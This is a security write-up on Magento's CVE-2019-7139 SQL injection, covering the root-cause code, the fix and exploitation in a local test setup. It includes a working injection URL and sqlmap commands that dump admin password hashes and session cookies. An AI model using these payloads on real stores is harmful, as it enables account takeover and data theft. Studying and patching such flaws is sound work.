Exploiting Magento SQL Injection with Sqlmap

Jun 14, 2019 • Alexandru Postolache

Categories:

In this article we show a new method of exploiting the critical SQL Injection vulnerability in Magento (CVE-2019-7139), using the well known Sqlmap tool.

After explaining the vulnerability details, we show how to extract arbitrary information from the database with Sqlmap which is a more powerful approach than the original exploit, which can extract very limited information.

Contents:

  1. About Magento
  2. Vulnerability analysis
  3. Mitigation
  4. Triggering the vulnerability
  5. Exploitation with Sqlmap

About Magento

Magento is a popular open-source e-commerce platform with over 220,000 shops currently active. This makes it an attractive target for hackers. For the past couple of years, hackers leveraged multiple vulnerabilities to compromise Magento websites and plant malicious scripts that steal payment data on checkout pages. This type of attack is called web skimming and hackers used it to target thousands of websites.

Vulnerability analysis

CVE-2019-7139, also known as PRODSECBUG-2198, is an unauthenticated SQL injection vulnerability that affects some versions of Magento. The bug was uncovered by Charles Fol, a researcher for security company Ambionics.

The following versions of Magento are affected by this vulnerability:

• Magento Open Source <= 1.9.4.0	
• Magento Commerce <= 1.14.4.0	
• Magento 2.1 <= 2.1.16	
• Magento 2.2 <= 2.2.7	
• Magento 2.3.0

The vulnerability is present in the method prepareSqlCondition from the file lib\Magento\Framework\DB\Adapter\Pdo\Mysql.php and is caused by a logical error in how the SQL query is constructed.

To better understand the root cause of the vulnerability, we should take a look at some snippets of Magento code from this file. Here are the relevant lines for the vulnerability:

<?php
/****
 ** Build SQL statement for condition

 **/
public function prepareSqlCondition($fieldName, $condition)
{
    $conditionKeyMap = [

        'from'          => "{ {fieldName} } >= ?",
        'to'            => "{ {fieldName} } <= ?"
    ];

    $query = '';
    if (is_array($condition)) {

        if (isset($condition['from']) || isset($condition['to'])) {
            if (isset($condition['from'])) {
            [1] $from  = $this->_prepareSqlDateCondition($condition, 'from');
                $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName);
            }

            if (isset($condition['to'])) {
                $query .= empty($query) ? '' : ' AND ';
                $to     = $this->_prepareSqlDateCondition($condition, 'to');
                $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
            }
        }
    }
    return $query;
}
protected function _prepareQuotedSqlCondition($text, $value, $fieldName)
{
    $sql = $this->quoteInto($text, $value);
    $sql = str_replace('{ {fieldName} }', $fieldName, $sql);
    return $sql;
}
?>

With the associative array $condition and the variable $fieldName, the method prepareSqlCondition constructs an SQL query by mapping the given conditions to $conditionKeyMap.

The vulnerability triggers when both fields $condition['from'] and $condition['to'] are set. Here’s the code that shows how and when it the bug pops up:

Our analysis starts from [1]:

  1. First, we make the assignment $from = $condition['from']. Then we have the call to _prepareQuotedSqlCondition, which looks like this:

    $query = $this->_prepareQuotedSqlCondition("{ {fieldName} } >= ?", $condition['from'], $fieldName)
    

    What this method does is replace the first “?” that it finds with the variable $condition['from'] and then { {fieldName} } with $fieldName. At the end of this call, the query becomes:

    $query = "$fieldName >= $condition['from']"
    
  2. Now, for the field $condition['to']. Our query first turns to:

    $query = "$fieldName >= $condition['from'] AND "
    

    The next step is to make the same assignment as before $to = $condition['to']. An issue arises, though, as the next call will be:

    $query = $this->_prepareQuotedSqlCondition("$fieldName >= $condition['from'] AND { {fieldName} } <= ?", $condition['to'], $fieldName)
    

    As mentioned before, this method replaces the first “?” it finds with $condition['to']. If we were to include a “?” in $condition['from'], then we can replace that with $condition['to']. For example, consider $condition['from'] = "?". The resulting query after the call above then becomes:

    $query =  "$fieldName >= $condition['to'] AND $fieldName <= ?"
    

    By setting $condition['to'] to the appropriate SQL code, we will have successfully modified the intended query. For instance, if $condition[‘to’] = "1 OR 1=1 -- ", then the SQL query becomes $query = "$fieldName >= 1 OR 1=1 -- AND $fieldName <= ?".

Mitigation

To solve the problem, the line

$query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);

should be:

$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);

The latest versions of Magento already have this fix that removes the CVE-2019-7139 vulnerability.

Triggering the vulnerability

To reproduce the vulnerability in a test environment, we ran Magento 2.2.6 in Docker; the image is freely available from here.

In the original article, the vulnerability is leveraged by using the controller lib\Magento\Catalog\Controller\Product\Frontend\Action\Synchronize.php. However, this exploitation method works only in Magento >= 2.2.0.

A valid URL for SQL Injection is:

https://local.magento/catalog/product_frontend_action/synchronize?
	   	type_id=recently_products&
    	ids[0][added_at]=&
    	ids[0][product_id][from]=?&
    	ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -

Starting from this, we can trigger either a content-based blind SQLi or a time-based blind SQLi. Here are two examples of GET requests made to the database:

- Blind SQL Injection - Content based

For content-based blind SQL Injection, the two queries below compare the first character of the current user with the character ‘A’. If the condition is true, the server returns HTTP 400 Bad Request, because we are trying to concatenate a 1 column result with a 2 columns result. If it’s false we get HTTP 200 OK, as the SELECT after UNION is ignored.

alt text

alt text

- Blind SQL Injection - Time based

For time-based blind SQL Injection, we see a difference in the server’s response time. If the condition evaluates to false, SLEEP(5) is called, and the server will sleep for 5 seconds before responding. Otherwise, we get the response immediately.

alt text

alt text

Exploitation with Sqlmap

The original author has already released a proof-of-concept exploit for this vulnerability; however, it is very limited in the amount of information it can extract from the database.

A more generic exploitation method is possible by using sqlmap. Our goal is to extract arbitrary information from the database, including the credentials of all Magento admin users.

Sqlmap is the de-facto tool for exploiting database vulnerabilities because of its versatility in terms of supported parameters - like specify HTTP options, SQLi techniques, information to extract, and more. Since we know that the vulnerability is a blind SQLi, the relevant techniques are content (called boolean blind by sqlmap) and time-based SQL injection. The easier path is a content-based attack and this is what we’ll focus on.

Note: To successfully use this method you have to use the parameters --ignore-code=400 or --code=400; otherwise, sqlmap will assume that it’s doing something wrong when it receives HTTP error codes.

First steps

Before verifying the validity of our technique, here’s a list of some common parameters we’ll be using throughout this section:

-u          : the target url, with parameters included
--prefix    : prefix to add before the payload
--suffix    : suffix to add after the payload
-p          : parameter on which to inject the payload
--dbms      : database we assume to be running on target
--level     : range and number of payloads tried (1 to 5)
--risk      : risks of tests to perform (1 to 3)
--technique : technique to use; choose from one or more letters from "BEUSTQ"
--o         : some performance optimization

For start we’ll extract the current database (parameter --current-db) using the following command:

sqli@magento:~$ ./sqlmap.py -u 'http://local.magento/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=' -p "ids[0][product_id][to]" --prefix=")))" --suffix=" -- -" --dbms=mysql --technique=B --ignore-code=400 --level=5 --risk=3 -o --current-db

The special parameters required to successfully exploit with sqlmap are: --prefix, --suffix and ignore-code.

Results:

alt text

Getting more sensitive data

Now we want to extract more interesting stuff from the database, like the admin credentials. Here are the steps required for that:

  1. Find tables with ‘admin’ in name: we can use sqlmap to search for tables with certain strings in their names. Upon hitting one, it goes through it and prints the relevant results. The obvious table name in our case is ‘admin’, and here’s what sqlmap can find for us:

    sqli@magento:~$ ./sqlmap.py -u 'http://local.magento/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=' -p "ids[0][product_id][to]" --prefix=")))" --suffix=" -- -" --dbms=mysql --technique=B --ignore-code=400 --level=5 --risk=3 -o --search -T admin
    

    Results:

    alt text

    If the site admin was careful and modified the default table names, we can try different search strings or enumerate all the table names in the database using --tables.

  2. Now let’s dump the admin_user table and look inside:

     sqli@magento:~$ ./sqlmap.py -u 'http://local.magento/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=' -p "ids[0][product_id][to]" --prefix=")))" --suffix=" -- -" --dbms=mysql --technique=B  --ignore-code=400 --level=5 --risk=3 -o --dump -D magento -T admin_user
    

    The new parameters are used to specify the search area: -D for database, -T for table. Here we’ll show just the username and password columns, as those are of interest:

    User Password
    admin1 97999302a66b6dcf480c48681603509ef827d71423307f3461857bc26c4362c8:rD6fNHdN6BqoZFklZR5Nt9KfBDs1GPGV:1
    admin 815bafca0bb99e3709f6fbe5b0d941d997a5c23d3f7a4e0bcc4a9b77b8608be9:oIdbca8tP41bNLXWWlEkGs4rm5LeFJih:1

    Please note that the passwords are stored into the database as a string with three parts separated by “:”

     1) hash of salt and password
     2) salt, by default of 32 bits length
     3) version, where 1 is SHA256 and 0 is MD5
    

    Having this information, the passwords can be cracked with common tools like Hashcat or John the Ripper.

  3. Instead of cracking passwords, a faster approach is to extract the session cookies from admin_user_session table, if there are any valid ones; these come with admin privileges on the site. By default, a session cookie is valid for 15 minutes, but this value is customizable. Just as before, we have to dump the contents of the table.

    To illustrate another functionality of sqlmap, here we’ll directly dump just the needed column.

     sqli@magento:~$ ./sqlmap.py -u 'http://local.magento/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=' -p "ids[0][product_id][to]" --prefix=")))" --suffix=" -- -" --dbms=mysql --technique=B --level=5 --risk=3 -o --dump -D magento -T admin_user_session -C session_id
    

Conclusion

In this article we explored a recent SQL Injection vulnerability in Magento (CVE-2019-7139), understood its root cause and then we showed a more powerful exploitation method which uses Sqlmap.

We recommend upgrading Magento to the latest version in order to mitigate this vulnerability as it is relatively easy to exploit.